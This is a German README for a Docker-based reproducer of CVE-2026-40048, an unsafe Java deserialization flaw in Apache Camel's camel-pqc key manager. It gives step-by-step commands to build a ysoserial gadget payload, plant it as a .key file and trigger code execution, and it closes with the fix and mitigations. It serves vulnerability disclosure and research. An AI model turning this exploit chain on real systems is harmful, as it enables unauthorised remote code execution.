camel-pqc FileBasedKeyLifecycleManager – Reproducer für unsichere Deserialisierung (CVE-2026-40048)

Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle in der camel-pqc-Komponente von Apache Camel, die als CVE-2026-40048 geführt wird. FileBasedKeyLifecycleManager liest <keyId>.key-Dateien aus dem konfigurierten Schlüsselverzeichnis mit einem rohen ObjectInputStream und ohne ObjectInputFilter, sodass ein Angreifer, der in dieses Verzeichnis schreiben kann, Remote-Code-Ausführung erreichen kann.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40048.html

Schwachstellenübersicht

Technische Details

FileBasedKeyLifecycleManager speichert Post-Quanten-Schlüssel als serialisierte Java-Objekte in <keyDir>/<keyId>.key. Beim Laden eines Schlüssels wird diese Datei mit einem rohen ObjectInputStream deserialisiert, und die Typumwandlung zu KeyPair erfolgt erst nachdem readObject() zurückgekehrt ist:

// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

Ein Angreifer, der in das Schlüsselverzeichnis schreiben kann – etwa durch Path-Traversal, falsch konfigurierte Volume-Berechtigungen, eine kompromittierte Schlüsselbereitstellungs-Pipeline oder einen Symlink-Angriff – kann ein präpariertes serialisiertes Objekt einschleusen, das während eines normalen Ladevorgangs im Schlüssel-Lebenszyklus ausgeführt wird.

Voraussetzungen

• Java 17+ und Maven 3.8+ (zum Erstellen des Jars)
• Docker (führt den Reproducer aus)
• ysoserial (zur Payload-Erzeugung)

Reproduktionsschritte

Schritt 1: Jar erstellen und Container starten

mvn clean package -DskipTests
docker compose up -d --build

Schritt 2: Bösartigen Payload erzeugen

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Schritt 3: Payload als <keyId>.key platzieren

curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

Schritt 4: Laden im Schlüssel-Lebenszyklus auslösen (RCE)

curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

Schritt 5: Verifizieren

docker exec cve-2026-40048 ls -la /tmp/pwned

Aufräumen

docker compose down

Angriffsvektoren

getKey() wird während normaler Vorgänge im Schlüssel-Lebenszyklus aufgerufen (Abruf von Signatur-/Verifikationsschlüsseln, Rotationsprüfungen usw.), sodass jedes Laden einer vom Angreifer platzierten <keyId>.key-Datei die Deserialisierung auslöst.

Exploit-Bedingungen

1. Schreibzugriff auf das Schlüsselverzeichnis, das von FileBasedKeyLifecycleManager verwendet wird (geteiltes/falsch konfiguriertes Volume, Path-Traversal, kompromittierte Bereitstellung, Symlink).
2. Eine Gadget-Bibliothek im Klassenpfad (z. B. commons-collections:3.2.1).

Zusammenhängende Folge-CVEs

Das Muster ObjectInputStream im Schlüsselspeicher wurde anschließend umfassender behandelt:

• CVE-2026-46590 – die verwandten Manager für HashiCorp Vault + AWS Secrets Manager (Folge-CVE wegen unvollständiger Behebung).
• CVE-2026-43867 – eine unabhängige Meldung zu demselben AWS-Secrets-Manager-Pfad.

Empfohlener Fix

Aktualisieren Sie auf 4.18.2 / 4.20.0. Der Fix ersetzt die ObjectInputStream-basierte Speicherung durch eine standardkonforme Base64-JSON-Kodierung im Format PKCS#8 (privater Schlüssel) / X.509 SubjectPublicKeyInfo (öffentlicher Schlüssel).

Gegenmaßnahmen

Bis zum Upgrade:

1. Beschränken Sie den Schreibzugriff auf das Schlüsselverzeichnis auf die eigene Identität der Anwendung.
2. Entfernen Sie Gadget-Bibliotheken (commons-collections 3.x aktualisieren/entfernen).
3. Bewahren Sie Schlüsselmaterial auf einem Volume auf, in das kein weniger vertrauenswürdiger Akteur schreiben kann.

Dateien

CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt und bezieht sich auf eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.